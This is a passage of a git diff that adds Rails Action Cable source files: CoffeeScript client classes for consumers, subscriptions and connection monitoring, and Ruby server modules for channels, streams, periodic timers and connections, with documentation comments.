@reconnectAttempts++ + if @disconnectedRecently() + ActionCable.log("ConnectionMonitor skipping reopening recent disconnect") + else + ActionCable.log("ConnectionMonitor reopening") + @connection.reopen() + + connectionIsStale: -> + secondsSince(@pingedAt ? @startedAt) > @constructor.staleThreshold + + disconnectedRecently: -> + @disconnectedAt and secondsSince(@disconnectedAt) < @constructor.staleThreshold + + visibilityDidChange: => + if document.visibilityState is "visible" + setTimeout => + if @connectionIsStale() or not @connection.isOpen() + ActionCable.log("ConnectionMonitor reopening stale connection on visibilitychange. visbilityState = #{document.visibilityState}") + @connection.reopen() + , 200 + + now = -> + new Date().getTime() + + secondsSince = (time) -> + (now() - time) / 1000 + + clamp = (number, min, max) -> + Math.max(min, Math.min(max, number)) diff --git a/actioncable/app/assets/javascripts/action_cable/consumer.coffee b/actioncable/app/assets/javascripts/action_cable/consumer.coffee new file mode 100644 index 0000000000..3298be717f --- /dev/null +++ b/actioncable/app/assets/javascripts/action_cable/consumer.coffee @@ -0,0 +1,46 @@ +#= require ./connection +#= require ./subscriptions +#= require ./subscription + +# The ActionCable.Consumer establishes the connection to a server-side Ruby Connection object. Once established, +# the ActionCable.ConnectionMonitor will ensure that its properly maintained through heartbeats and checking for stale updates. +# The Consumer instance is also the gateway to establishing subscriptions to desired channels through the #createSubscription +# method. +# +# The following example shows how this can be setup: +# +# @App = {} +# App.cable = ActionCable.createConsumer "ws://example.com/accounts/1" +# App.appearance = App.cable.subscriptions.create "AppearanceChannel" +# +# For more details on how you'd configure an actual channel subscription, see ActionCable.Subscription. +# +# When a consumer is created, it automatically connects with the server. +# +# To disconnect from the server, call +# +# App.cable.disconnect() +# +# and to restart the connection: +# +# App.cable.connect() +# +# Any channel subscriptions which existed prior to disconnecting will +# automatically resubscribe. +class ActionCable.Consumer + constructor: (@url) -> + @subscriptions = new ActionCable.Subscriptions this + @connection = new ActionCable.Connection this + + send: (data) -> + @connection.send(data) + + connect: -> + @connection.open() + + disconnect: -> + @connection.close(allowReconnect: false) + + ensureActiveConnection: -> + unless @connection.isActive() + @connection.open() diff --git a/actioncable/app/assets/javascripts/action_cable/subscription.coffee b/actioncable/app/assets/javascripts/action_cable/subscription.coffee new file mode 100644 index 0000000000..8e0805a174 --- /dev/null +++ b/actioncable/app/assets/javascripts/action_cable/subscription.coffee @@ -0,0 +1,72 @@ +# A new subscription is created through the ActionCable.Subscriptions instance available on the consumer. +# It provides a number of callbacks and a method for calling remote procedure calls on the corresponding +# Channel instance on the server side. +# +# An example demonstrates the basic functionality: +# +# App.appearance = App.cable.subscriptions.create "AppearanceChannel", +# connected: -> +# # Called once the subscription has been successfully completed +# +# disconnected: ({ willAttemptReconnect: boolean }) -> +# # Called when the client has disconnected with the server. +# # The object will have an `willAttemptReconnect` property which +# # says whether the client has the intention of attempting +# # to reconnect. +# +# appear: -> +# @perform 'appear', appearing_on: @appearingOn() +# +# away: -> +# @perform 'away' +# +# appearingOn: -> +# $('main').data 'appearing-on' +# +# The methods #appear and #away forward their intent to the remote AppearanceChannel instance on the server +# by calling the `@perform` method with the first parameter being the action (which maps to AppearanceChannel#appear/away). +# The second parameter is a hash that'll get JSON encoded and made available on the server in the data parameter. +# +# This is how the server component would look: +# +# class AppearanceChannel < ApplicationActionCable::Channel +# def subscribed +# current_user.appear +# end +# +# def unsubscribed +# current_user.disappear +# end +# +# def appear(data) +# current_user.appear on: data['appearing_on'] +# end +# +# def away +# current_user.away +# end +# end +# +# The "AppearanceChannel" name is automatically mapped between the client-side subscription creation and the server-side Ruby class name. +# The AppearanceChannel#appear/away public methods are exposed automatically to client-side invocation through the @perform method. +class ActionCable.Subscription + constructor: (@consumer, params = {}, mixin) -> + @identifier = JSON.stringify(params) + extend(this, mixin) + + # Perform a channel action with the optional data passed as an attribute + perform: (action, data = {}) -> + data.action = action + @send(data) + + send: (data) -> + @consumer.send(command: "message", identifier: @identifier, data: JSON.stringify(data)) + + unsubscribe: -> + @consumer.subscriptions.remove(this) + + extend = (object, properties) -> + if properties? + for key, value of properties + object[key] = value + object diff --git a/actioncable/app/assets/javascripts/action_cable/subscriptions.coffee b/actioncable/app/assets/javascripts/action_cable/subscriptions.coffee new file mode 100644 index 0000000000..aa052bf5d8 --- /dev/null +++ b/actioncable/app/assets/javascripts/action_cable/subscriptions.coffee @@ -0,0 +1,66 @@ +# Collection class for creating (and internally managing) channel subscriptions. The only method intended to be triggered by the user +# us ActionCable.Subscriptions#create, and it should be called through the consumer like so: +# +# @App = {} +# App.cable = ActionCable.createConsumer "ws://example.com/accounts/1" +# App.appearance = App.cable.subscriptions.create "AppearanceChannel" +# +# For more details on how you'd configure an actual channel subscription, see ActionCable.Subscription. +class ActionCable.Subscriptions + constructor: (@consumer) -> + @subscriptions = [] + + create: (channelName, mixin) -> + channel = channelName + params = if typeof channel is "object" then channel else {channel} + subscription = new ActionCable.Subscription @consumer, params, mixin + @add(subscription) + + # Private + + add: (subscription) -> + @subscriptions.push(subscription) + @consumer.ensureActiveConnection() + @notify(subscription, "initialized") + @sendCommand(subscription, "subscribe") + subscription + + remove: (subscription) -> + @forget(subscription) + unless @findAll(subscription.identifier).length + @sendCommand(subscription, "unsubscribe") + subscription + + reject: (identifier) -> + for subscription in @findAll(identifier) + @forget(subscription) + @notify(subscription, "rejected") + subscription + + forget: (subscription) -> + @subscriptions = (s for s in @subscriptions when s isnt subscription) + subscription + + findAll: (identifier) -> + s for s in @subscriptions when s.identifier is identifier + + reload: -> + for subscription in @subscriptions + @sendCommand(subscription, "subscribe") + + notifyAll: (callbackName, args...) -> + for subscription in @subscriptions + @notify(subscription, callbackName, args...) + + notify: (subscription, callbackName, args...) -> + if typeof subscription is "string" + subscriptions = @findAll(subscription) + else + subscriptions = [subscription] + + for subscription in subscriptions + subscription[callbackName]?(args...) + + sendCommand: (subscription, command) -> + {identifier} = subscription + @consumer.send({command, identifier}) diff --git a/actioncable/blade.yml b/actioncable/blade.yml new file mode 100644 index 0000000000..7980f3d101 --- /dev/null +++ b/actioncable/blade.yml @@ -0,0 +1,7 @@ +load_paths: + - app/assets/javascripts + - test/javascript/src + - test/javascript/vendor + +logical_paths: + - test.js diff --git a/actioncable/lib/action_cable.rb b/actioncable/lib/action_cable.rb new file mode 100644 index 0000000000..b6d2842867 --- /dev/null +++ b/actioncable/lib/action_cable.rb @@ -0,0 +1,52 @@ +#-- +# Copyright (c) 2015-2016 Basecamp, LLC +# +# Permission is hereby granted, free of charge, to any person obtaining +# a copy of this software and associated documentation files (the +# "Software"), to deal in the Software without restriction, including +# without limitation the rights to use, copy, modify, merge, publish, +# distribute, sublicense, and/or sell copies of the Software, and to +# permit persons to whom the Software is furnished to do so, subject to +# the following conditions: +# +# The above copyright notice and this permission notice shall be +# included in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +#++ + +require 'active_support' +require 'active_support/rails' +require 'action_cable/version' + +module ActionCable + extend ActiveSupport::Autoload + + INTERNAL = { + message_types: { + welcome: 'welcome'.freeze, + ping: 'ping'.freeze, + confirmation: 'confirm_subscription'.freeze, + rejection: 'reject_subscription'.freeze + }, + default_mount_path: '/cable'.freeze, + protocols: ["actioncable-v1-json".freeze, "actioncable-unsupported".freeze].freeze + } + + # Singleton instance of the server + module_function def server + @server ||= ActionCable::Server::Base.new + end + + autoload :Server + autoload :Connection + autoload :Channel + autoload :RemoteConnections + autoload :SubscriptionAdapter +end diff --git a/actioncable/lib/action_cable/channel.rb b/actioncable/lib/action_cable/channel.rb new file mode 100644 index 0000000000..7ae262ce5f --- /dev/null +++ b/actioncable/lib/action_cable/channel.rb @@ -0,0 +1,14 @@ +module ActionCable + module Channel + extend ActiveSupport::Autoload + + eager_autoload do + autoload :Base + autoload :Broadcasting + autoload :Callbacks + autoload :Naming + autoload :PeriodicTimers + autoload :Streams + end + end +end diff --git a/actioncable/lib/action_cable/channel/base.rb b/actioncable/lib/action_cable/channel/base.rb new file mode 100644 index 0000000000..845b747fc5 --- /dev/null +++ b/actioncable/lib/action_cable/channel/base.rb @@ -0,0 +1,297 @@ +require 'set' + +module ActionCable + module Channel + # The channel provides the basic structure of grouping behavior into logical units when communicating over the WebSocket connection. + # You can think of a channel like a form of controller, but one that's capable of pushing content to the subscriber in addition to simply + # responding to the subscriber's direct requests. + # + # Channel instances are long-lived. A channel object will be instantiated when the cable consumer becomes a subscriber, and then + # lives until the consumer disconnects. This may be seconds, minutes, hours, or even days. That means you have to take special care + # not to do anything silly in a channel that would balloon its memory footprint or whatever. The references are forever, so they won't be released + # as is normally the case with a controller instance that gets thrown away after every request. + # + # Long-lived channels (and connections) also mean you're responsible for ensuring that the data is fresh. If you hold a reference to a user + # record, but the name is changed while that reference is held, you may be sending stale data if you don't take precautions to avoid it. + # + # The upside of long-lived channel instances is that you can use instance variables to keep reference to objects that future subscriber requests + # can interact with. Here's a quick example: + # + # class ChatChannel < ApplicationCable::Channel + # def subscribed + # @room = Chat::Room[params[:room_number]] + # end + # + # def speak(data) + # @room.speak data, user: current_user + # end + # end + # + # The #speak action simply uses the Chat::Room object that was created when the channel was first subscribed to by the consumer when that + # subscriber wants to say something in the room. + # + # == Action processing + # + # Unlike subclasses of ActionController::Base, channels do not follow a RESTful + # constraint form for their actions. Instead, Action Cable operates through a + # remote-procedure call model. You can declare any public method on the + # channel (optionally taking a <tt>data</tt> argument), and this method is + # automatically exposed as callable to the client. + # + # Example: + # + # class AppearanceChannel < ApplicationCable::Channel + # def subscribed + # @connection_token = generate_connection_token + # end + # + # def unsubscribed + # current_user.disappear @connection_token + # end + # + # def appear(data) + # current_user.appear @connection_token, on: data['appearing_on'] + # end + # + # def away + # current_user.away @connection_token + # end + # + # private + # def generate_connection_token + # SecureRandom.hex(36) + # end + # end + # + # In this example, the subscribed and unsubscribed methods are not callable methods, as they + # were already declared in ActionCable::Channel::Base, but <tt>#appear</tt> + # and <tt>#away</tt> are. <tt>#generate_connection_token</tt> is also not + # callable, since it's a private method. You'll see that appear accepts a data + # parameter, which it then uses as part of its model call. <tt>#away</tt> + # does not, since it's simply a trigger action. + # + # Also note that in this example, <tt>current_user</tt> is available because + # it was marked as an identifying attribute on the connection. All such + # identifiers will automatically create a delegation method of the same name + # on the channel instance. + # + # == Rejecting subscription requests + # + # A channel can reject a subscription request in the #subscribed callback by + # invoking the #reject method: + # + # class ChatChannel < ApplicationCable::Channel + # def subscribed + # @room = Chat::Room[params[:room_number]] + # reject unless current_user.can_access?(@room) + # end + # end + # + # In this example, the subscription will be rejected if the + # <tt>current_user</tt> does not have access to the chat room. On the + # client-side, the <tt>Channel#rejected</tt> callback will get invoked when + # the server rejects the subscription request. + class Base + include Callbacks + include PeriodicTimers + include Streams + include Naming + include Broadcasting + + attr_reader :params, :connection, :identifier + delegate :logger, to: :connection + + class << self + # A list of method names that should be considered actions. This + # includes all public instance methods on a channel, less + # any internal methods (defined on Base), adding back in + # any methods that are internal, but still exist on the class + # itself. + # + # ==== Returns + # * <tt>Set</tt> - A set of all methods that should be considered actions. + def action_methods + @action_methods ||= begin + # All public instance methods of this class, including ancestors + methods = (public_instance_methods(true) - + # Except for public instance methods of Base and its ancestors + ActionCable::Channel::Base.public_instance_methods(true) + + # Be sure to include shadowed public instance methods of this class + public_instance_methods(false)).uniq.map(&:to_s) + methods.to_set + end + end + + protected + # action_methods are cached and there is sometimes need to refresh + # them. ::clear_action_methods! allows you to do that, so next time + # you run action_methods, they will be recalculated. + def clear_action_methods! + @action_methods = nil + end + + # Refresh the cached action_methods when a new action_method is added. + def method_added(name) + super + clear_action_methods! + end + end + + def initialize(connection, identifier, params = {}) + @connection = connection + @identifier = identifier + @params = params + + # When a channel is streaming via pubsub, we want to delay the confirmation + # transmission until pubsub subscription is confirmed. + @defer_subscription_confirmation = false + + @reject_subscription = nil + @subscription_confirmation_sent = nil + + delegate_connection_identifiers + subscribe_to_channel + end + + # Extract the action name from the passed data and process it via the channel. The process will ensure + # that the action requested is a public method on the channel declared by the user (so not one of the callbacks + # like #subscribed). + def perform_action(data) + action = extract_action(data) + + if processable_action?(action) + payload = { channel_class: self.class.name, action: action, data: data } + ActiveSupport::Notifications.instrument("perform_action.action_cable", payload) do + dispatch_action(action, data) + end + else + logger.error "Unable to process #{action_signature(action, data)}" + end + end + + # Called by the cable connection when it's cut, so the channel has a chance to cleanup with callbacks. + # This method is not intended to be called directly by the user. Instead, overwrite the #unsubscribed callback. + def unsubscribe_from_channel # :nodoc: + run_callbacks :unsubscribe do + unsubscribed + end + end + + + protected + # Called once a consumer has become a subscriber of the channel. Usually the place to setup any streams + # you want this channel to be sending to the subscriber. + def subscribed + # Override in subclasses + end + + # Called once a consumer has cut its cable connection. Can be used for cleaning up connections or marking + # users as offline or the like. + def unsubscribed + # Override in subclasses + end + + # Transmit a hash of data to the subscriber. The hash will automatically be wrapped in a JSON envelope with + # the proper channel identifier marked as the recipient. + def transmit(data, via: nil) + logger.info "#{self.class.name} transmitting #{data.inspect.truncate(300)}".tap { |m| m << " (via #{via})" if via } + + payload = { channel_class: self.class.name, data: data, via: via } + ActiveSupport::Notifications.instrument("transmit.action_cable", payload) do + connection.transmit identifier: @identifier, message: data + end + end + + def defer_subscription_confirmation! + @defer_subscription_confirmation = true + end + + def defer_subscription_confirmation? + @defer_subscription_confirmation + end + + def subscription_confirmation_sent? + @subscription_confirmation_sent + end + + def reject + @reject_subscription = true + end + + def subscription_rejected? + @reject_subscription + end + + private + def delegate_connection_identifiers + connection.identifiers.each do |identifier| + define_singleton_method(identifier) do + connection.send(identifier) + end + end + end + + def subscribe_to_channel + run_callbacks :subscribe do + subscribed + end + + if subscription_rejected? + reject_subscription + else + transmit_subscription_confirmation unless defer_subscription_confirmation? + end + end + + def extract_action(data) + (data['action'].presence || :receive).to_sym + end + + def processable_action?(action) + self.class.action_methods.include?(action.to_s) + end + + def dispatch_action(action, data) + logger.info action_signature(action, data) + + if method(action).arity == 1 + public_send action, data + else + public_send action + end + end + + def action_signature(action, data) + "#{self.class.name}##{action}".tap do |signature| + if (arguments = data.except('action')).any? + signature << "(#{arguments.inspect})" + end + end + end + + def transmit_subscription_confirmation + unless subscription_confirmation_sent? + logger.info "#{self.class.name} is transmitting the subscription confirmation" + + ActiveSupport::Notifications.instrument("transmit_subscription_confirmation.action_cable", channel_class: self.class.name) do + connection.transmit identifier: @identifier, type: ActionCable::INTERNAL[:message_types][:confirmation] + @subscription_confirmation_sent = true + end + end + end + + def reject_subscription + connection.subscriptions.remove_subscription self + transmit_subscription_rejection + end + + def transmit_subscription_rejection + logger.info "#{self.class.name} is transmitting the subscription rejection" + + ActiveSupport::Notifications.instrument("transmit_subscription_rejection.action_cable", channel_class: self.class.name) do + connection.transmit identifier: @identifier, type: ActionCable::INTERNAL[:message_types][:rejection] + end + end + end + end +end diff --git a/actioncable/lib/action_cable/channel/broadcasting.rb b/actioncable/lib/action_cable/channel/broadcasting.rb new file mode 100644 index 0000000000..afc23d7d1a --- /dev/null +++ b/actioncable/lib/action_cable/channel/broadcasting.rb @@ -0,0 +1,29 @@ +require 'active_support/core_ext/object/to_param' + +module ActionCable + module Channel + module Broadcasting + extend ActiveSupport::Concern + + delegate :broadcasting_for, to: :class + + class_methods do + # Broadcast a hash to a unique broadcasting for this <tt>model</tt> in this channel. + def broadcast_to(model, message) + ActionCable.server.broadcast(broadcasting_for([ channel_name, model ]), message) + end + + def broadcasting_for(model) #:nodoc: + case + when model.is_a?(Array) + model.map { |m| broadcasting_for(m) }.join(':') + when model.respond_to?(:to_gid_param) + model.to_gid_param + else + model.to_param + end + end + end + end + end +end diff --git a/actioncable/lib/action_cable/channel/callbacks.rb b/actioncable/lib/action_cable/channel/callbacks.rb new file mode 100644 index 0000000000..295d750e86 --- /dev/null +++ b/actioncable/lib/action_cable/channel/callbacks.rb @@ -0,0 +1,35 @@ +require 'active_support/callbacks' + +module ActionCable + module Channel + module Callbacks + extend ActiveSupport::Concern + include ActiveSupport::Callbacks + + included do + define_callbacks :subscribe + define_callbacks :unsubscribe + end + + class_methods do + def before_subscribe(*methods, &block) + set_callback(:subscribe, :before, *methods, &block) + end + + def after_subscribe(*methods, &block) + set_callback(:subscribe, :after, *methods, &block) + end + alias_method :on_subscribe, :after_subscribe + + def before_unsubscribe(*methods, &block) + set_callback(:unsubscribe, :before, *methods, &block) + end + + def after_unsubscribe(*methods, &block) + set_callback(:unsubscribe, :after, *methods, &block) + end + alias_method :on_unsubscribe, :after_unsubscribe + end + end + end +end diff --git a/actioncable/lib/action_cable/channel/naming.rb b/actioncable/lib/action_cable/channel/naming.rb new file mode 100644 index 0000000000..8e1b2a4af0 --- /dev/null +++ b/actioncable/lib/action_cable/channel/naming.rb @@ -0,0 +1,23 @@ +module ActionCable + module Channel + module Naming + extend ActiveSupport::Concern + + class_methods do + # Returns the name of the channel, underscored, without the <tt>Channel</tt> ending. + # If the channel is in a namespace, then the namespaces are represented by single + # colon separators in the channel name. + # + # ChatChannel.channel_name # => 'chat' + # Chats::AppearancesChannel.channel_name # => 'chats:appearances' + # FooChats::BarAppearancesChannel.channel_name # => 'foo_chats:bar_appearances' + def channel_name + @channel_name ||= name.sub(/Channel$/, '').gsub('::',':').underscore + end + end + + # Delegates to the class' <tt>channel_name</tt> + delegate :channel_name, to: :class + end + end +end diff --git a/actioncable/lib/action_cable/channel/periodic_timers.rb b/actioncable/lib/action_cable/channel/periodic_timers.rb new file mode 100644 index 0000000000..dab604440f --- /dev/null +++ b/actioncable/lib/action_cable/channel/periodic_timers.rb @@ -0,0 +1,79 @@ +module ActionCable + module Channel + module PeriodicTimers + extend ActiveSupport::Concern + + included do + class_attribute :periodic_timers, instance_reader: false + self.periodic_timers = [] + + after_subscribe :start_periodic_timers + after_unsubscribe :stop_periodic_timers + end + + module ClassMethods + # Periodically performs a task on the channel, like updating an online + # user counter, polling a backend for new status messages, sending + # regular "heartbeat" messages, or doing some internal work and giving + # progress updates. + # + # Pass a method name or lambda argument or provide a block to call. + # Specify the calling period in seconds using the <tt>every:</tt> + # keyword argument. + # + # periodically :transmit_progress, every: 5.seconds + # + # periodically every: 3.minutes do + # transmit action: :update_count, count: current_count + # end + # + def periodically(callback_or_method_name = nil, every:, &block) + callback = + if block_given? + raise ArgumentError, 'Pass a block or provide a callback arg, not both' if callback_or_method_name + block + else + case callback_or_method_name + when Proc + callback_or_method_name + when Symbol + -> { __send__ callback_or_method_name } + else + raise ArgumentError, "Expected a Symbol method name or a Proc, got #{callback_or_method_name.inspect}" + end + end + + unless every.kind_of?(Numeric) && every > 0 + raise ArgumentError, "Expected every: to be a positive number of seconds, got #{every.inspect}" + end + + self.periodic_timers += [[ callback, every: every ]] + end + end + + private + def active_periodic_timers + @active_periodic_timers ||= [] + end + + def start_periodic_timers + self.class.periodic_timers.each do |callback, options| + active_periodic_timers << start_periodic_timer(callback, every: options.fetch(:every)) + end + end + + def start_periodic_timer(callback, every:) + connection.server.event_loop.timer every do + connection.worker_pool.async_invoke connection do + instance_exec(&callback) + end + end + end + + def stop_periodic_timers + active_periodic_timers.each { |timer| timer.shutdown } + active_periodic_timers.clear + end + end + end +end diff --git a/actioncable/lib/action_cable/channel/streams.rb b/actioncable/lib/action_cable/channel/streams.rb new file mode 100644 index 0000000000..0a0a95f453 --- /dev/null +++ b/actioncable/lib/action_cable/channel/streams.rb @@ -0,0 +1,174 @@ +module ActionCable + module Channel + # Streams allow channels to route broadcastings to the subscriber. A broadcasting is, as discussed elsewhere, a pubsub queue where any data + # placed into it is automatically sent to the clients that are connected at that time. It's purely an online queue, though. If you're not + # streaming a broadcasting at the very moment it sends out an update, you will not get that update, even if you connect after it has been sent. + # + # Most commonly, the streamed broadcast is sent straight to the subscriber on the client-side. The channel just acts as a connector between + # the two parties (the broadcaster and the channel subscriber). Here's an example of a channel that allows subscribers to get all new + # comments on a given page: + # + # class CommentsChannel < ApplicationCable::Channel + # def follow(data) + # stream_from "comments_for_#{data['recording_id']}" + # end + # + # def unfollow + # stop_all_streams + # end + # end + # + # Based on the above example, the subscribers of this channel will get whatever data is put into the, + # let's say, <tt>comments_for_45</tt> broadcasting as soon as it's put there. + # + # An example broadcasting for this channel looks like so: + # + # ActionCable.server.broadcast "comments_for_45", author: 'DHH', content: 'Rails is just swell' + # + # If you have a stream that is related to a model, then the broadcasting used can be generated from the model and channel. + # The following example would subscribe to a broadcasting like <tt>comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE</tt>. + # + # class CommentsChannel < ApplicationCable::Channel + # def subscribed + # post = Post.find(params[:id]) + # stream_for post + # end + # end + # + # You can then broadcast to this channel using: + # + # CommentsChannel.broadcast_to(@post, @comment) + # + # If you don't just want to parlay the broadcast unfiltered to the subscriber, you can also supply a callback that lets you alter what is sent out. + # The below example shows how you can use this to provide performance introspection in the process: + # + # class ChatChannel < ApplicationCable::Channel + # def subscribed + # @room = Chat::Room[params[:room_number]] + # + # stream_for @room, coder: ActiveSupport::JSON do |message| + # if message['originated_at'].present? + # elapsed_time = (Time.now.to_f - message['originated_at']).round(2) + # + # ActiveSupport::Notifications.instrument :performance, measurement: 'Chat.message_delay', value: elapsed_time, action: :timing + # logger.info "Message took #{elapsed_time}s to arrive" + # end + # + # transmit message + # end + # end + # end + # + # You can stop streaming from all broadcasts by calling #stop_all_streams. + module Streams + extend ActiveSupport::Concern + + included do + on_unsubscribe :stop_all_streams + end + + # Start streaming from the named <tt>broadcasting</tt> pubsub queue. Optionally, you can pass a <tt>callback</tt> that'll be used + # instead of the default of just transmitting the updates straight to the subscriber. + # Pass `coder: ActiveSupport::JSON` to decode messages as JSON before passing to the callback. + # Defaults to `coder: nil` which does no decoding, passes raw messages. + def stream_from(broadcasting, callback = nil, coder: nil, &block) + broadcasting = String(broadcasting) + + # Don't send the confirmation until pubsub#subscribe is successful + defer_subscription_confirmation! + + # Build a stream handler by wrapping the user-provided callback with + # a decoder or defaulting to a JSON-decoding retransmitter. + handler = worker_pool_stream_handler(broadcasting, callback || block, coder: coder) + streams << [ broadcasting, handler ] + + connection.server.event_loop.post do + pubsub.subscribe(broadcasting, handler, lambda do + transmit_subscription_confirmation + logger.info "#{self.class.name} is streaming from #{broadcasting}" + end) + end + end + + # Start streaming the pubsub queue for the <tt>model</tt> in this channel. Optionally, you can pass a + # <tt>callback</tt> that'll be used instead of the default of just transmitting the updates straight + # to the subscriber. + # + # Pass `coder: ActiveSupport::JSON` to decode messages as JSON before passing to the callback. + # Defaults to `coder: nil` which does no decoding, passes raw messages. + def stream_for(model, callback = nil, coder: nil, &block) + stream_from(broadcasting_for([ channel_name, model ]), callback || block, coder: coder) + end + + # Unsubscribes all streams associated with this channel from the pubsub queue. + def stop_all_streams + streams.each do |broadcasting, callback| + pubsub.unsubscribe broadcasting, callback + logger.info "#{self.class.name} stopped streaming from #{broadcasting}" + end.clear + end + + private + delegate :pubsub, to: :connection + + def streams + @_streams ||= [] + end + + # Always wrap the outermost handler to invoke the user handler on the + # worker pool rather than blocking the event loop. + def worker_pool_stream_handler(broadcasting, user_handler, coder: nil) + handler = stream_handler(broadcasting, user_handler, coder: coder) + + -> message do + connection.worker_pool.async_invoke handler, :call, message, connection: connection + end + end + + # May be overridden to add instrumentation, logging, specialized error + # handling, or other forms of handler decoration. + # + # TODO: Tests demonstrating this. + def stream_handler(broadcasting, user_handler, coder: nil) + if user_handler + stream_decoder user_handler, coder: coder + else + default_stream_handler broadcasting, coder: coder + end + end + + # May be overridden to change the default stream handling behavior + # which decodes JSON and transmits to client. + # + # TODO: Tests demonstrating this. + # + # TODO: Room for optimization. Update transmit API to be coder-aware + # so we can no-op when pubsub and connection are both JSON-encoded. + # Then we can skip decode+encode if we're just proxying messages. + def default_stream_handler(broadcasting, coder:) + coder ||= ActiveSupport::JSON + stream_transmitter stream_decoder(coder: coder), broadcasting: broadcasting + end + + def stream_decoder(handler = identity_handler, coder:) + if coder + -> message { handler.(coder.decode(message)) } + else + handler + end + end + + def stream_transmitter(handler = identity_handler, broadcasting:) + via = "streamed from #{broadcasting}" + + -> (message) do + transmit handler.(message), via: via + end + end + + def identity_handler + -> message { message } + end + end + end +end diff --git a/actioncable/lib/action_cable/connection.rb b/actioncable/lib/action_cable/connection.rb new file mode 100644 index 0000000000..5f813cf8e0 --- /dev/null +++ b/actioncable/lib/action_cable/connection.rb @@ -0,0 +1,21 @@ +module ActionCable + module Connection + extend ActiveSupport::Autoload + + eager_autoload do + autoload :Authorization + autoload :Base + autoload :ClientSocket + autoload :Identification + autoload :InternalChannel + autoload :FayeClientSocket + autoload :FayeEventLoop + autoload :MessageBuffer + autoload :Stream + autoload :StreamEventLoop + autoload :Subscriptions + autoload :TaggedLoggerProxy + autoload :WebSocket + end + end +end diff --git a/actioncable/lib/action_cable/connection/authorization.rb b/actioncable/lib/action_cable/connection/authorization.rb new file mode 100644 index 0000000000..070a70e4e2 --- /dev/null +++ b/actioncable/lib/action_cable/connection/authorization.rb @@ -0,0 +1,13 @@ +module ActionCable + module Connection + module Authorization + class UnauthorizedError < StandardError; end + + private + def reject_unauthorized_connection + logger.error "An unauthorized connection attempt was rejected" + raise UnauthorizedError + end + end + end +end
\ No newline at end of file diff --git a/actioncable/lib/action_cable/connection/base.rb b/actioncable/lib/action_cable/connection/base.rb new file mode 100644 index 0000000000..cc4e0f8c8b --- /dev/null +++ b/actioncable/lib/action_cable/connection/base.rb @@ -0,0 +1,255 @@ +require 'action_dispatch' + +module ActionCable + module Connection + # For every WebSocket the Action Cable server accepts, a Connection object will be instantiated. This instance becomes the parent + # of all of the channel subscriptions that are created from there on. Incoming messages are then routed to these channel subscriptions + # based on an identifier sent by the Action Cable consumer. The Connection itself does not deal with any specific application logic beyond + # authentication and authorization. + # + # Here's a basic example: + # + # module ApplicationCable + # class Connection < ActionCable::Connection::Base + # identified_by :current_user + # + # def connect + # self.current_user = find_verified_user + # logger.add_tags current_user.name + # end + # + # def disconnect + # # Any cleanup work needed when the cable connection is cut. + # end + # + # protected + # def find_verified_user + # if current_user = User.find_by_identity cookies.signed[:identity_id] + # current_user + # else + # reject_unauthorized_connection + # end + # end + # end + # end + # + # First, we declare that this connection can be identified by its current_user. This allows us to later be able to find all connections + # established for that current_user (and potentially disconnect them). You can declare as many + # identification indexes as you like. Declaring an identification means that an attr_accessor is automatically set for that key. + # + # Second, we rely on the fact that the WebSocket connection is established with the cookies from the domain being sent along. This makes + # it easy to use signed cookies that were set when logging in via a web interface to authorize the WebSocket connection. + # + # Finally, we add a tag to the connection-specific logger with the name of the current user to easily distinguish their messages in the log. + # + # Pretty simple, eh? + class Base + include Identification + include InternalChannel + include Authorization + + attr_reader :server, :env, :subscriptions, :logger, :worker_pool, :protocol + delegate :event_loop, :pubsub, to: :server + + def initialize(server, env, coder: ActiveSupport::JSON) + @server, @env, @coder = server, env, coder + + @worker_pool = server.worker_pool + @logger = new_tagged_logger + + @websocket = ActionCable::Connection::WebSocket.new(env, self, event_loop, server.config.client_socket_class) + @subscriptions = ActionCable::Connection::Subscriptions.new(self) + @message_buffer = ActionCable::Connection::MessageBuffer.new(self) + + @_internal_subscriptions = nil + @started_at = Time.now + end + + # Called by the server when a new WebSocket connection is established. This configures the callbacks intended for overwriting by the user. + # This method should not be called directly -- instead rely upon on the #connect (and #disconnect) callbacks. + def process #:nodoc: + logger.info started_request_message + + if websocket.possible? && allow_request_origin? + respond_to_successful_request + else + respond_to_invalid_request + end + end + + # Decodes WebSocket messages and dispatches them to subscribed channels. + # WebSocket message transfer encoding is always JSON. + def receive(websocket_message) #:nodoc: + send_async :dispatch_websocket_message, websocket_message + end + + def dispatch_websocket_message(websocket_message) #:nodoc: + if websocket.alive? + subscriptions.execute_command decode(websocket_message) + else + logger.error "Ignoring message processed after the WebSocket was closed: #{websocket_message.inspect})" + end + end + + def transmit(cable_message) # :nodoc: + websocket.transmit encode(cable_message) + end + + # Close the WebSocket connection. + def close + websocket.close + end + + # Invoke a method on the connection asynchronously through the pool of thread workers. + def send_async(method, *arguments) + worker_pool.async_invoke(self, method, *arguments) + end + + # Return a basic hash of statistics for the connection keyed with `identifier`, `started_at`, and `subscriptions`. + # This can be returned by a health check against the connection. + def statistics + { + identifier: connection_identifier, + started_at: @started_at, + subscriptions: subscriptions.identifiers, + request_id: @env['action_dispatch.request_id'] + } + end + + def beat + transmit type: ActionCable::INTERNAL[:message_types][:ping], message: Time.now.to_i + end + + def on_open # :nodoc: + send_async :handle_open + end + + def on_message(message) # :nodoc: + message_buffer.append message + end + + def on_error(message) # :nodoc: + # ignore + end + + def on_close(reason, code) # :nodoc: + send_async :handle_close + end + + protected + # The request that initiated the WebSocket connection is available here. This gives access to the environment, cookies, etc. + def request + @request ||= begin + environment = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application + ActionDispatch::Request.new(environment || env) + end + end + + # The cookies of the request that initiated the WebSocket connection. Useful for performing authorization checks. + def cookies + request.cookie_jar + end + + attr_reader :websocket + attr_reader :message_buffer + + private + def encode(cable_message) + @coder.encode cable_message + end + + def decode(websocket_message) + @coder.decode websocket_message + end + + def handle_open + @protocol = websocket.protocol + connect if respond_to?(:connect) + 